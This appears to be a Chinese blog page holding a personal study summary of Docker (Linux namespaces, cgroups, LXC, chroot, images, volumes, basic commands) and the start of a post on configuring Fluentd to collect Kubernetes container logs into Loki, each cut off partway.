• [虚拟化] Docker个人学习总结
    1 Docker入门基础1.1 容器级虚拟机化技术主机级虚拟化,          Type1:在硬件上安装虚拟机,hyper-v,没有宿主机         Type2:有宿主机及宿主机OS,虚拟机OS与宿主机OS不一样,如Vmware,workstations。容器级虚拟化:实现用户空间和宿主环境空间的隔离,保障了系统安全。在UTS内可以以名称空间互相隔离的,在同一个空间上创建多个名称空间,每个名称空间互相隔离,拥有各自的根文件系统,root用户,PID 和端口范围。       Namespace原生支持UTS、mount、IPC、PID、User、Net。Linux容器化需要内核支持namespace技术。所以容器是Linux内核封装的技术。1.2 Docker和容器关系1.2.1 Linux容器1、隔离与共享一台服务器运行着多个逻辑隔离的服务器进程,谁的运行环境都不希望影响到谁,也就是一个物理机需要虚拟出多个环境或容器,Linux提供一种创建和进入容器的方式,操作系统让应用程序就像在独立的机器上运行一样,但又能共享很多底层的资源。2、实现基础Linux容器功能是基于cgroups和Namespace实现的。(1)cgroups(control groups 控制组)cgroups是将进程分组管理的内核功能,通过cgroups可以隔离进程,同时还可以隔离进程的资源占用(cpu,内存等)情况,在操作系统底层限制物理资源,起到container的作用,进程可用的cpu资源由cpuset指定。(2)NamespaceNamespace让每个进程拥有独立的PID、IPC和网络空间。Namespace是通过clone系统调用来实现的。clone系统调用的第三个参数flags就是通过设置Namespace来划分资源的。Linux一共构建了6种不同的Namespace,用于不同场景下的隔离1.Mount - 隔离文件系统挂载点;2.UTS - 隔离主机名和域名3.IPC - 隔离进程间通信资源4.PID - 隔离PID空间5.Network - 隔离网络接口6.User - 隔离用户/用户组空间1.2.2 LXC基本概念根据Docker布道师Jerome Petazzoni的说法,Docker约等于LXC+AUFS(之前只支持ubuntu时)(作者2015-10-22更新:Docker0.9.0版本开始引入libcontainer,可以视作LXC的替代品)。其中LXC负责资源管理,AUFS负责镜像管理;而LXC包括cgroup、namespace、chroot等组件,并通过cgroup进行资源管理。所以只从资源管理这条线来看的话,Docker、LXC、Cgroup三者的关系是:Cgroup在最底层落实资源管理,LXC在cgroup上封装了一层,Docker又在LXC封装了一层,关系图如图1(b)所示。因此,要想玩转Docker,有必要了解负责资源管理的CGroup和LXC。Jail->vserver(chroot)->LXC, 大规模创建容器很难,管理不方便。1)LXC是什么LinuxContainer容器可以提供轻量级的内核级虚拟化,以便隔离进程和资源,而且不需要提供指令解释机制以及全虚拟化的其他复杂性。容器有效地将由单个操作系统管理的资源划分到孤立的组中,以更好地在孤立的组之间平衡有冲突的资源使用需求。LXC建立在CGroup基础上,我们可以粗略的认为LXC = Cgroup+ namespace + Chroot + veth +用户态控制脚本。LXC利用内核的新特性(CGroup)来提供用户空间的对象,用来保证资源的隔离和对于应用或者系统的资源控制。根据LXC官网(http://linuxcontainers.org/)的描述,LXC具有以下特性:与虚拟化相比,它的优势在于:a)不需要指令级模拟;b)不需要即时(Just-in-time)编译;c)容器可以在CPU核心的本地运行指令,而不需要任何专门的解释机制;d)避免了准虚拟化和系统调用替换中的复杂性。总结来说,就是LXC更加轻量级,具有更小的性能开销、更快的相应时间。linux contains 的技术是linux 内核的代码,并非Docker 开发出来的,Docker或者其他的虚拟化容器都是基于LXC 的技术,在基础的lxc 上包了一层代码,让LXC 更简单、更友好,更加好推广;下面就看下LXC 的三个技术 •chroot: 创建一个虚拟的根目录文件系统 【实质还是调用底层的文件系统】,不过是建立一个虚拟的,可以跟其他容器的虚拟文件系统相互隔离;但共享底层的文件系统•namespace : 命名空间可以提供一个进程相互隔离的独立网络空间,不同的容器间进程pid可以相同,进程并不冲突影响;但可以共享底层的计算和存储(cpu + mem)•cgroups: 实现了对容器的资源分配和限制,比如给容器1分配10core 30G 内存;那这个容器最多用这么大的资源;如果内存超过30G ,会启动swap,效率降低,也可能会被调度系统给kill掉LXC通过namespace进行资源的隔离,Gust1下的进程与Guset2下的进程是独立的,可以看作运行在两台物理机上一样。Contaniner管理工具就是对Guest进行管理的(创建、销毁)。下图是LXC与KVM技术的比较,KVM的优点是一个物理机上可以跑多个操作系统(Guest-OS),然后在每个操作系统运行应用,通过这种方式实现应用的隔离。而使用LXC技术直接可以在Host-OS的基础上实现隔离的。这就是LXC的优势--运行快。但是,如果有两个应用一个是在windows运行的,一个是在linux上运行的,这时只能使用KVM技术来实现了。1.2.2.1 Cgroups基本概念1)Cgroup是什么Cgroups是control groups的缩写,是Linux内核提供的一种可以限制、记录、隔离进程组(process groups)所使用的物理资源(如:CPU, Memory, IO等)的机制。最初由Google的工程师提出,后来被整合进Linux内核。Cgroups也是LXC为实现虚拟化所使用的资源管理手段,可以说没有Cgroups就没有LXC,也就没有Docker。Cgroups最初的目标是为资源管理提供的一个统一的框架,既整合现有的Cpuset等子系统,也为未来开发新的子系统提供接口。现在的Cgroups适用于多种应用场景,从单个进程的资源控制,到实现操作系统层次的虚拟化(OS Level Virtualization)。简单说是把系统级资源分成多个组,每组资源分配到特定用户空间来使用。Cgroups提供以下功能:a)限制进程组可以使用的资源数量(Resource limiting )。比如:Memory子系统可以为进程组设定一个Memory使用上限,一旦进程组使用的内存达到限额再申请内存,就会出发OOM(out of  memory)。b)进程组的优先级控制(Prioritization)。比如:可以使用CPU子系统为某个进程组分配特定CPUshare。c)进程组隔离(Isolation)。比如:使用ns子系统可以使不同的进程组使用不同的namespace,以达到隔离的目的,不同的进程组有各自的进程、网络、文件系统挂载空间。d)记录进程组使用的资源数量(Accounting)。比如:可以使用Cpuacct子系统记录某个进程组使用的CPU时间e)进程组控制(Control)。比如:使用freezer子系统可以将进程组挂起和恢复。2)Cgroup基本概念与术语任务(task):在Cgroups中,任务就是系统的一个进程。控制族群(control group):控制族群就是一组按照某种标准划分的进程,控制族群通常按照应用划分,即与某应用相关的一组进程,被划分为一个进程组,即控制族群(control group)。Cgroups中的资源控制都是以控制族群为单位实现。一个进程可以加入到某个控制族群,也可以从一个进程组迁移到另一个控制族群。一个进程组的进程可以使用Cgroups以控制族群为单位分配的资源,同时受到Cgroups以控制族群为单位设定的限制。层级(hierarchy):控制族群可以组织成hierarchical的形式,既一颗控制族群树。控制族群树上的子节点控制族群是父节点控制族群的孩子,继承父控制族群的特定的属性。控制族群树的示意图如图2所示。子系统(subsystem):一个子系统就是一个资源控制器,比如CPU子系统就是控制CPU时间分配的一个控制器。子系统必须附加(attach)到一个层级上才能起作用,一个子系统附加到某个层级以后,这个层级上的所有控制族群都受到这个子系统的控制。3)Cgroup子系统介绍a)blkio -- 这个子系统为块设备设定输入/输出限制,比如物理设备(磁盘,固态硬盘,USB等等)。b)cpu -- 这个子系统使用调度程序提供对CPU 的 Cgroup 任务访问。c)cpuacct -- 这个子系统自动生成Cgroup中任务所使用的 CPU 报告。d)cpuset-- 这个子系统为 Cgroup中的任务分配独立CPU(在多核系统)和内存节点。e)devices -- 这个子系统可允许或者拒绝Cgroup中的任务访问设备。f)freezer -- 这个子系统挂起或者恢复Cgroup中的任务。g)memory -- 这个子系统设定Cgroup中任务使用的内存限制,并自动生成由那些任务使用的内存资源报告。h)net_cls -- 这个子系统使用等级识别符(classid)标记网络数据包,可允许Linux 流量控制程序(tc)识别从具体cgroup 中生成的数据包。i)ns -- 名称空间子系统。Cgroup具有不同的挂载方法——“多挂载点”和“单挂载点”。子系统“多挂载点”挂载就是指不同子系统的文件挂载在不同的目录下,每个子系统各有一个挂载点,目录结构如图3(a)所示。cgroup对应服务cgconfig默认使用的就是“多挂载点”的方法。“单挂载点”则是指所有子系统的文件都挂载在同一个目录下,所有子系统都统一挂载在一个挂载点,目录结构如图3(b)所示。  1.2.2.2 NamespaceLinux Namespaces机制提供一种资源隔离方案。PID,IPC,Network等系统资源不再是全局性的(在Linux2.6内核以前是全局的),而是属于特定的Namespace。每个Namespace里面的资源对其他Namespace都是透明的。namespace是container中使用到的重要技术之一,是对系统资源的操作上的隔离。使Guest-OS1的操作对Guest-OS2无法产生影响。当然namespace的实现还在完善中,下面是3.8以上的内核实现的namespace。1. Mount namespace是对挂载的文件系统布局进行隔离。图中显示在Namespace1中的进程看到的文件系统的挂载方式是一致的,但是在Mount Namespace2中看到的是一另一种情况。2.IPC:处于同一namespace下的进程才可以进行进程间通信。3. NET NAMESPACE实现网络协议栈上的隔离,在自己的namespace中对网络的设置只能在本namespace中生效4.PID:我们通过fork来创建进程时可以为每个进程指定命名空间。linux下的进程关系是一棵树,所以有了父命名空间和子名字空间之分。在namespace2创建的P2进程有两个pid。第一个是在父命名空间的下的它的PID号,一个是在自己空间下的PID号。之所以有父pid号是因为P2最终还是在父命名空间下运行的,而为进程指定命名空间是为了让P2和P3实现隔离。5. User namespace中使用到了map转换,由于container并不是真正的虚拟化,所以在Guest-OS中创建的root用户会被映射到Host-OS中的普通用户中去。下图中的例子中,root用户在自己的namespace下创建了一个文件,那这个文件的所有者ID应该是0,当时在磁盘上存的时候文件UID会被转换为kuid,并且所有者ID为1000。想说名一点是在Guest-OS下你是个root用户,但是在Host-OS你只不过被转为一个普通用户而已。因为我们知道在Host-OS下已经有一个root用户了。6.PID namespace:linux下的proc目录是对整个系统状态的描述,用户可以通过查看proc目录来了解当前的系统状态。在proc目录下有很多数字,这些数字对应的是系统创建的进程ID,以前我们说进程是看不见摸不着的,但是通过proc目录我们的确可以看到一些关于进程的信息。每个进程下有个ns目录,在目下记录了该进程使用的到namespace。1.2.2.3 Chroot1.  linux chroot 机制的由来•root 用户启动一个daemon在linux 系统上启动一个daemon 必须用root 用户来启动,比如一个web 服务器(nginx/apapce 80端口)是在操作系统的接口(1-1024),只有root 有这个权限来启动这类接口;用root 户启动daemon 的程序也是一个自然的事情。  •安全问题日益变大随着安全的攻击越来越严重,如果任何一个提供TCP 服务的程序出现漏洞,那攻击者就获取到了root 权限,无疑是灾难性的。为了降低这个问题带来的风险,需要主动放弃root 权限,该用一个普通的用户(比如 admin/nobody) 进行运行。这样一旦攻击者获取到了这个程序的权限,也是此时运行用户的权限,对系统造成的危害相对要小。•chroot 机制的引入为了进一步提高系统的安全性,linux 系统引入了chroot 机制;chroot 是一个系统调用,程序可以通过调用chroot的函数库来 更改一个进程所能看到的跟目录  。比如httpd 软件安装在/usr/local/httpd 这个目录下,那这个进程(httpd) 只可以读、写到这个指定的目录: [ usr/local/httpd] ;这样即使攻击者获取进程的权限,也只能读写这个目录下的文件,这样就变的安全了许多,起码不会影响这个台机器其他的进程,和其他的机器的安全问题 。2. chroot 简介chroot 全程是change to root : 其中root 是根目录的意思,也就是改变(linux 根目录是/,也可以理解为设置)一个程序运行时参考的根目录的位置 # 根目录的参考linux 系统(原始的方案)  | 引入chroot 机制/                                 /lxc/usr                            /lxc/usr/bin                            /lxc/bin/sys                            /lxc/sys如上图我们看的一旦使用了chroot ,用户的春心就不是linux 系统的根目录,而是我们指定的/lxc (这个目录可以任意指定),所以chroot 确实可以修改根目录. 3. chroot 机制的意义•增强系统的安全行•指定程序访问的根目录,防止用攻击者可以通过程序的漏洞获取其他目录的读写权限; 4. chroot 机制在虚拟化中的作用chroot 机制因为安全问题才被引入的,但是在LXC 中却启动了举足轻重的作用,因为chroot 机制可以指定虚拟根目录,让不同的容器在不同的根目录下工作; •不同的容器进程参考的根目录不同,相互直接不影响•不同的容器因为共享linux 底层的文件系统,所以容器集成os的功能,实现轻量级!1.2.2.4 LXC总结通过对ns和Cgroups的介绍,一方面可以实现对系统资源的隔离,但是使用就非常不方便涉及代码实践、底层内核调用以及进程克隆等。通过LXC可以实现对这些工具的封装调用,简化了用户使用。但是LXC使用也不是很方便,比如需要创建出一个虚拟环境,通常会执行一个模板脚本,从指定官网下载对应的软件工具,在本地完成安装后,生产名字空间的运行环境。所以LXC的使用比虚拟机也不是很大方便,隔离性也不比虚拟机好。大规模使用和分发也不友好,后面出现docker。Docker是LXC的加强版,相当于是LXC的前端应用工具。容器是内核技术,docker通过简化容器的使用,得以普及。解决方案为镜像。利用容器管理引擎,通过镜像,来创建出名字空间所需的环境。 1.2.3 LXC与docker的比较:容器技术不是模仿硬件,而是在Linux内核里使用cgroup和namespaces来打造轻便的、将近裸机速度的虚拟技术操作系统环境。因为不是虚拟化存储,所以容器技术不会管底层存储或者文件系统,而是你放哪里,它操作哪里。 这从根本上改变了我们如何虚拟化工作负载和应用程序,因为容器速度比硬件虚拟化技术更快,更加便捷,弹性扩容的更加高效,只是它的工作负载要求操作系统,而不是Linux或特定的Linux内核版本。Docker并不是LXC的替代品,Docker的底层就是使用了LXC来实现的。LXC将Linux进程沙盒化,使得进程之间相互隔离,并且能够控制各进程的资源分配。 在LXC的基础之上,Docker提供了一系列更强的功能。不过现在Docker底层已不使用LXC,先后推出libcontainer和runC. 利用LXC做容器管理引擎,将用户空间需要用到的组件打包封装好,成为镜像文件。极大简化了容器的使用难度,使得容器使用得以推广。容器技术一方面给技术带来极大便利,同时也给维护带来很大挑战。 1.3 Docker基础概念1.3.1 docker是什么Docker是一个开源的应用容器引擎,可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在本地编译通过的容器可以批量的在生产环境上部署。Docker类似于集装箱,各式各样的货物,经过集装箱的标准化进行托管,而集装箱与集装箱之前没有影响。Docker是一个开放平台,使开发人员和管理员可以在称为容器的松散隔离的环境中构建镜像、交互和运行分布式应用程序,以便在开发、QA和生产环境之间进行高效的应用程序生命周期管理。分层构架和联合挂载虚拟机原理需要在Host OS(内核)之上虚拟出一套虚拟硬件,在虚拟硬件之上重新安装操作系统,即为虚拟机操作系统(内核),在该系统之上安装APP,对外提供服务。可见虚拟化对硬件资源的消耗还是比较大,通常在20~30%。而容器概念在于在Host OS之上,提供一套虚拟隔离环境(内核态),在用户空间隔离出进程环境。1.3.2 Docker三个组件 1.3.2.5 镜像一个特殊的文件系统。操作系统分为内核和用户空间,对于Linux来说,内核启动后会挂载root文件系统为其提供用户控件的支持。而Docker镜像,就相当于是一个root文件系统。除了提供容器运行时所需的程序、库、资源、配置等文件外,还包含一些为运行时准备的配置参数。镜像不包含任何动态数据,其内容在构建之后也不会被改变。镜像实际是由多层文件系统联合组成。镜像构建时,会一层一层构建,前一层是后一层的基础。每一层构建完就不会再改变,后一层上的任何改变只发生在当前层。比如:删除前一层文件的操作,实际不是真的删除前一层的文件,而是仅把当前层标记为该文件已删除。分层存储的特征还使得镜像的复用、定制变的更为容易。甚至可以用之前构建好的镜像作为基础层,然后进一步添加新的层,以定制自己所需的内容,构建新的镜像。1.3.2.6 容器镜像(Image)和容器(Container)的关系,就像是面向对象程序设计中的类和实例,镜像是静态的定义,容器是镜像运行时的实体。容器可以被创建、启动、暂停、停止、删除等。容器的实质是进程,但与直接在宿主执行的进程不同,容器进程运行与属于自己独立的命名空间,容器也是分层存储。容器存储层的生命周期跟容器一样,容器消亡时,容器存储层也会消亡,任何保存于容器存储层的信息都会丢失。容器不应该向其存储层内写入任何数据,容器存储层也要保持无状态化。所有的文件写入操作,都应该使用数据卷、或者绑定宿主目录,在这些位置的读写会跳过存储层,直接对宿主发生读写,其性能和稳定性更高。容器消亡后数据卷的数据不会丢失。容器在整个应用程序生命周期工作流中提供以下优点:隔离性、可移植性、灵活性、可伸缩性和可控性。 最重要的优点是可在开发和运营之间提供隔离。1.3.2.7 仓库Docker Registry是一个集中存储、分发镜像的服务。一个Registry可以包含多个仓库(Repository),每个仓库只包含一种软件,但可以包含多个标签(tag,也就是版本),每个标签对应一个镜像。这三个组件的关系如下图,比如有两个仓库,分别是Redis和MySQL。 1.3.3 Docker组成客户端:docker pull build run服务器仓库          镜像image:是个模板,通过模板创建容器服务。通过镜像创建多个容器         容器container:docker通过容器独立运行一个或一组应用,通过镜像来创建的。启动 停止 删除等基本命令                   容器是一个简易的Linux系统         仓库repository:存放镜像的地方1.3.4 Docker架构Client-Server架构:•docker守护进程运行在宿主机上systemctl start docker•daemon进程通过socket从客户端(docker命令)接受命令来运行管理各个容器•容器是一个运行时环境,可以看做是运行中的精简版Linux系统         1.4 docker安装:docker文档:https://docs.docker.com/安装指导:https://docs.docker.com/engine/install/centos/推荐使用阿里云的docker镜像安装:https://blog.csdn.net/lvdingding/article/details/112862396dockerHUB地址: ce社区版,官方推荐ee企业版 hello-world流程底层原理docker是server-client结构的系统,docker的守护进程运行在主机上,通过socketo从客户端访问。dockerserver接受客户端的指令,就会执行docker命令。 1.5 Docker和虚拟机的不同:1.传统虚拟机,虚拟出一套硬件,运行一个完整的操作系统,在这个系统之上安装和运行软件。占用资源大,启动慢。2.容器内的应用直接运行在宿主机的内核上,没有自己的内核,也不需要虚拟硬件,因此容器轻便。3.每个容器互相隔离,每个容器内部都有自己的文件系统,互不影响。DevOps开发运维应用更快的交付和部署传统的交付部署:一堆帮助文档,安装程序docker:打包镜像发布测试一键运行         更便捷的升级和扩缩容         更简单的系统运维,测试环境基本一致         更高效的计算资源利用,docker是内核级的虚拟化,一台服务器上可以运行多个docker实例。         内核的作用在于资源的管理和分配,如内存虚拟化,CPU调用,IO的调度,生产服务,如Nginx等都运行在用户应用空间。1.5.1 Virtual MachinesVM(VMware)在宿主机器、宿主机器操作系统的基础上创建虚拟层、虚拟化的操作系统、虚拟化的仓库,然后再安装应用;1.5.2 Containers容器完全在容器主机的应用程序层中运行。在UserLAnd[1]中,OSs有内核空间,操作系统的核心在其中运行。然后是用户空间,所有与用户活动相关的东西都在这里运行。没有安装操作系统。容器共享主机的内核空间,类似于主机中的一个用户,LXC所实现的隔离性主要是来自kernel的namespace, 其中pid, net, ipc, mnt, uts 等namespace将container的进程, 网络, 消息, 文件系统和hostname 隔离开。但是,cgroup的隔离性要比kvm粒度大,并且很难metric指标。比如,磁盘的IO就很难隔离。导致一个容器的io增大,这个主机都有可能hang。容器实际上就是一个进程。当它在容器内时,感觉就像一台完全独立的机器。我们可以启动新的进程,当监控这些进程时,您将只看到容器内的进程。但是,如果您监控主机进程,仍然能够看到容器中运行的所有内容。 容器共享主机。那么他是如何在同一台机器上运行Ubuntu和CentOS呢? 因为容器实际上共享主机的内核。特定的Linux发行版都构建在同一个内核之上(尽管版本不同)。所有的包管理器、UI之类的东西,以及其他各种软件,都可以在用户空间中运行,这些软件使发行版独一无二,并创造出不同的Linux风格。具有不同发行版的不同容器可以在同一台机器上运行而不会产生冲突。 当涉及到平台设计时,这个内核共享事实还有其他重要的含义。例如,Windows容器将不能在Linux主机上运行。 不可修改 容器本质上是不可变的。 容器操作系统、库、实用程序和应用程序在构建时都是冻结的,在此之后它就不能更改了。所以,不需要以传统的方式更新容器。重新构建和重新部署。虽然有一些缺点,但是在可重复性、简化部署和可靠性方面有很大的提高。 镜像(image) 镜像其实是一个标准的文件包,它表示容器运行时文件系统的状态。这可以发布到注册表,也可以用作父镜像。 大多数镜像将构建在父镜像之上(父镜像通常也构建在另一个镜像像之上)。基本映像没有父镜像的。1.5.3 小结 简而言之,容器化为单个OS上的工作负载隔离提供了标准化的方法,而虚拟化为在一台服务器上安装多个OSs提供了标准化的方法。它们在业界都很突出,在云计算中经常一起使用。 因为容器没有安装完整的操作系统,所以它的重量更轻,因为下载和运行更快,存储更小。下图以尽可能简单的方式说明了上述差异。请注意使用VMs和容器运行相同的两个工作负载的堆栈组合。 如果大家理解了上面描述的容器和vm之间的关键区别,那么第二个图将提供对正在发生的事情的更深入的信息。大家可以清楚地看到这两种技术如何提供工作负载隔离。 记住,堆栈表示逻辑层次结构。我们知道这些容器都在主机操作系统上作为唯一的进程运行,而VM客户操作系统是成熟的操作系统,可以管理它们自己的进程。 现在,让我们看看vm和容器通常是如何一起使用的。假设我们想在云中运行Python Flask应用程序和Java Spring应用程序。下图描述了AWS上可行的状态。  Amazon EC2是Amazon的托管计算服务。这意味着用户不需要担心服务器或管理程序。我们只需选择实例类型(针对不同工作负载的不同特性)并部署VM。(国内的同学们还是使用阿里云吧) 有许多不同的Amazon机器镜像可供选择[3],或者可以创建自己的镜像。因为vm比容器更重。 我们可以在许多不同的服务中共同使用VM镜像。可以将基本操作系统、包更新、一些脚本、监视代理的安装和配置,以及其他操作和安全工具打包到vm中。 通常使用配置管理工具(如Ansible或Chef)来管理工作负载或服务。Chef已经是devops的标准管理工具。 1.6 docker为什么比VM快1.docker的抽象层比虚拟机更少2.docker利用的是宿主机的内核,VM需要guest OSdocker申请容器的时候不需要像虚拟机那样加载一个操作系统内核,避免引导耗时。虚拟机是加载Guest OS,分钟级的docker是利用宿主机的操作系统,省略了这个复杂的过程,秒级。 可见虚拟机对硬件资源的消耗很大,通常在20~30%。 1.7 Docker常用命令docker version版本信息/info 显示docker的系统信息,包括镜像和容器的数量/help 帮助命令官方命令地址:https://docs.docker.com/reference/镜像命令docker imagesdocker searchdocker pulldocker rmidocker rm 容器命令docker inspect 容器IDdocker top 容器ID进入当前运行的容器docker exec -it 容器ID /bin/bash  进入容器后开启一个新终端docker  attach 容器ID             进入容器正在执行的终端,不会执行新进程docker stop/start 容器ID从容器内拷贝内容到宿主机上docker  cp 容器ID:容器内部地址  宿主机地址  思考:在宿主机中提供容器文件的映射地址,实现在宿主机上修改达到容器内部内容的自动修改。---数据卷 docker  run  -it --rm tomcat ##之前都启动是后台启动,容器还可以查到,这个方法为用完就删除容器和镜像1.8 ElasticSearch实验https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html#docker-cli-run Docker stats:  1.9 PortainerPortainer是docker图形管理工具,提供一个后台面板供开发者使用。访问测试:登录创建用户后选择local本地仓库点击connect之后进入portainer主页  1.10 Docker持续开发工作流  2 Docker镜像详解2.1 镜像详解2.1.1 镜像是什么将应用和环境打包成一个镜像。镜像是轻量级、可执行的独立软件包,打包了运行某个软件(比如tomcat镜像)所需的所有内容,包括:•代码(tomcat代码)•运行时环境(OS、JDK)•依赖库•环境变量•配置文件等镜像底层基础是Union File System(联合文件系统):UnionFS:一种分层、轻量级且高性能的文件系统,支持对文件系统的修改作为一次提交来一层层的叠加,也支持将不同目录挂载到同一虚拟文件系统下。镜像由一层层的文件系统组成,通过分层进行继承。基于基础镜像,可以制作出各种具体的应用镜像。镜像运行时,一次联合加载多个文件系统,根据继承关系进行叠加,最终外部只看到一个文件系统,但拥有了完整的文件和目录结构。 2.1.2 Docker镜像加载原理分层构架,联合挂载。 下载镜像时一层一层下载就是这个概念。所以这也是为什么虚拟机是分钟级,容器是秒级的。 镜像实际有一层层的文件系统组成,即UnionFS。文件系统层级中主要关注bootfs和rootfs“”•bootfs包括BootLoader和kernel(操作系统内核),BootLoader主要是引导加载kernel。同Linux,docker镜像最底层是bootfs。Linux系统启动时,会加载bootfs,然后BootLoader加载kernel(Linux内核)至内存,完成之后内存的使用权由bootfs转移给内核,接着卸载掉bootfs。•rootfs包含了我们熟悉的Linux文件目录结构:/dev/ /proc/ /bin/ /etc/ 等。对于不同的Linux发行版(Ubuntu、centos等),bootfs基本一致(内核相同,都是Linux-kernel),而rootfs会有差别。why一个centos的docker镜像只有200M,而VMware的centos系统镜像几个G?对于一个精简的Linux系统,rootfs可以很小,只需要包括最基本的命令、工具和程序库就OK了。docker容器共用了宿主机的系统内核,只需要提供精简的rootfs就OK,所以docker的os镜像体积可以这么小,因此可以把docker容器看做一个精简的Linux系统。why一个tomcat的docker镜像反而比一个centos的docker镜像大得多每个应用级别的docker镜像,都是源于基础镜像(联合文件系统),类比Java中的Object类,一层层继承而来。 2.2 提交镜像Docker commit 提交容器成为一个新的副本实践如下:    3 Docker数据卷3.1 什么是容器数据卷Docker的核心是把应用和环境打包成镜像,那么数据呢?如果数据保存在容器中,那就无法保证数据的持久化。所以希望容器之间有数据共享功能。通过容器数据卷技术可以将容器中产生的数据,同步到本地。简单说,就是目录挂载,将容器内的目录挂载到宿主机。实现容器数据的持久化和同步操作,也实现了容器间的数据共享。Docker  -v 宿主机目录:容器目录 查看容器卷是否挂载成功,执行命令docker inspect 容器ID3.2 具名和匿名挂载如何确认是具名还是匿名,以及指定路径挂载?3.3 Dockerfile创建 这个卷一定是与外部目录有一个同步目录。该挂载方式为匿名挂载。对应容器外的路径3.4 容器数据卷创建容器数据卷创建目标容器 实现了两个容器数据的同步。多个也是可以实现数据的同步。实现数据在两个mysql中的数据共享  4 Docker dockerfile4.1 基础知识Dockerfile就是构建docker镜像的构建文件,命令参数脚本。 4.2 Dockerfile构建过程Dockerfile是面向开发的,以后发布项目,做镜像,就要编写dockerfile文件,这个文件很简单。Docker镜像逐步成为企业交付的标准,必须掌握。Dockerfile是构建文件,定义了一切步骤,源代码;dockerimages通过dockerfile构建生成的镜像,最终发布和运行产品。Docker容器是镜像运行起来提供服务的。4.3 Dockerfile指令 
  • Loki和Fluentd的那点事儿
    跟大家分享下loki跟fluentd结合的一些实践。为什么是FluentdFluentd是一个由云原生基金会(CNCF)管理的统一日志层数据收集器。它可以从多种数据源里采集、处理日志,并集中将它们存储到文件或者数据库当中。其主要的目的也是让你的基础设施能够实现统一的数据收集和分发,以便业务可以更好的使用和理解数据。作为第六个从CNCF里面毕业的项目,fluentd拥有大量的数据处理插件和生产环境的实践指导,同时还有GKE和AWS这样公有云大厂应用为其背书,小白毅然的选择了fluentd作为我们kubernetes上唯一日志采集器。Loki插件Loki为fluetnd提供了一个输出插件fluent-plugin-grafana-loki,它可以将采集到的日志传送到Loki实例当中。当然,在实际的应用当中,还需需要我们自己去构建fluentd的docker镜像, 那么我们需要将下面几行加入到自己的dockerfile里面# 必要的loki输出插件和kubernetes元数据插件gem install fluent-plugin-grafana-lokigem install fluent-plugin-kubernetes_metadata_filter# 小白建议安装的prometheus,字段修改和tag修改插件gem install fluent-plugin-prometheusgem install fluent-plugin-record-modifiergem install fluent-plugin-rewrite-tag-filter采集流程按照Kubernetes上运行应用的日志一般建议Kubernetes 无状态应用的一般特征应用不应继续把日志输出到本地文件,而应该输出到 stdout 和 stderr;集群应该针对容器的 stdout、stderr 提供统一的日志采集,建议使用 Daemonset 而非 Sidecar;进行日志采集的同时,集群应提供 ES、Loki 或其它类似机制来对日志进行处理,并且其处理和存储能力应该有初步预案;应用日志应提供分级开关,保证同一镜像在不同环境中可以输出不同数量和级别的日志信息。小白将fluentd在k8s上的采集流程设计如下:Pre Input阶段默认情况下docker会将容器的stdout/stderr日志重定向到/var/lib/docker/containers,其日志也为json格式如下{    "log":"xxxxxxxxxxx",    "stream":"stdout",    "time":"2020-09-15T23:09:04.902156725Z"}对于将fluentd部署在node上的同学则需要将node的这个目录映射到容器内。# fluentd的workerload中关于映射容器标准输入的volume...volumeMounts:- mountPath: /var/lib/docker/containers  name: varlibdockercontainersvolumes:- hostPath:    path: /var/lib/docker/containers    name: varlibdockercontainers...Input阶段在采集阶段, 利用fluentd的in_tail插件对docker标准输出采集即可,参照如下:<worker 0>  <source>    @type tail    @id input.containers.out    path /var/log/containers/*.log    exclude_path ["/var/log/containers/*fluentd*.log"]    pos_file /var/log/fluentd/container.out.pos    limit_recently_modified 86400    read_from_head true    tag kubernetes.*    <parse>      @type json      time_key time      time_format %Y-%m-%dT%H:%M:%S.%NZ      utc true    </parse>  </source></worker>Fluentd可以通过定义<worker>标签来支持多进程并发采集,如果你的node上是容器密度和小白一样大,我们就创建两个worker来同时采集docker日志,参照如下:<worker 0>  <source>    @type tail    @id input.containers.out.0    path /var/log/containers/*[0-7].log    exclude_path ["/var/log/containers/*fluentd*.log"]    pos_file /var/log/fluentd/container.out.pos.0    limit_recently_modified 86400    read_from_head true    tag kubernetes.*    <parse>      @type json      time_key time      time_format %Y-%m-%dT%H:%M:%S.%NZ      utc true    </parse>  </source></worker><worker 1>  <source>    @type tail    @id input.containers.out.1    path /var/log/containers/*[8-f].log    exclude_path ["/var/log/containers/*fluentd*.log"]    pos_file /var/log/fluentd/container.out.pos.1    limit_recently_modified 86400    read_from_head true    tag kubernetes.*    <parse>      @type json      time_key time      time_format %Y-%m-%dT%H:%M:%S.%NZ      utc true    </parse>  </source></worker>提醒,默认情况下docker没有对容器标准输出的日志存储空间做限制。但实际情况下,我们为了避免生产环境容器日志占满服务器磁盘,会通过修改docker daemon的启动参数--log-opt=10G来限制容器的最大输出日志空间。这里对于fluentd来说,如果在采集停滞时间内容器的日志桶被完全轮转,那么就会出现日志丢失的风险。对于该如何调整参数,小白建议按照大家自己公司情况合理规划即可。Filter阶段Filter阶段主要用来处理日志采集之后的kubernetes元数据标注以及修改、提取自定义字段,这里面主要用了两个插件fluent-plugin-kubernetes_metadata_filter和fluent-plugin-record-modifier来处理以上逻辑。kubernetes_metadata主要作用为提取tag中的关键信息来向kubernetes查询Pod和Namespace上的Label,并将其添加到日志的json结构体内,它的配置可参照如下:<filter kubernetes.var.log.containers.**>  @type kubernetes_metadata  @id kubernetes_metadata_container_out  skip_container_metadata true  skip_master_url true  cache_size 3000  cache_ttl 1800</filter>metadata插件有Cache的机制,大家根据自己集群的规模合理调整cache的容量和cache的过期时间。正常情况下,metadata插件会watch k8s api来更新cache,如果出现新部署的容器日志没有相关标签,那么你可能需要再等一会或者重启fluentd客户端可以解决record_modifier主要用于提取和修改kubernetes元数据标签,修改成我们自定义的字段,这些字段可以为后面存储在Loki的里面的Label提前建立好索引规则。这部分可参考小白下面的配置:<match kubernetes.var.log.containers.**>  @type record_modifier  @id label.container.out  tag ${record.dig('k8s_std_collect') ? 'loki.kubernetes.var.log.containers' : 'dropped.var.log.containers'}  <record>    k8s_container_id ${record.dig("docker", "container_id")}    k8s_cloud_cluster "#{ENV['CLOUD_CLUSTER'] || 'default'}"    k8s_node ${record.dig('kubernetes', 'host')}    k8s_container_name ${record.dig('kubernetes', 'container_name')}    k8s_app_name ${record.dig('kubernetes', 'labels', 'app_kubernetes_io/name')}    k8s_svc_name ${record.dig('kubernetes', 'labels', 'app')}    k8s_pod_name ${record.dig('kubernetes', 'pod_name')}    k8s_namespace_name ${record.dig('kubernetes', 'namespace_name')}    k8s_image_version ${record.dig('kubernetes', 'labels', 'app_image_version')}    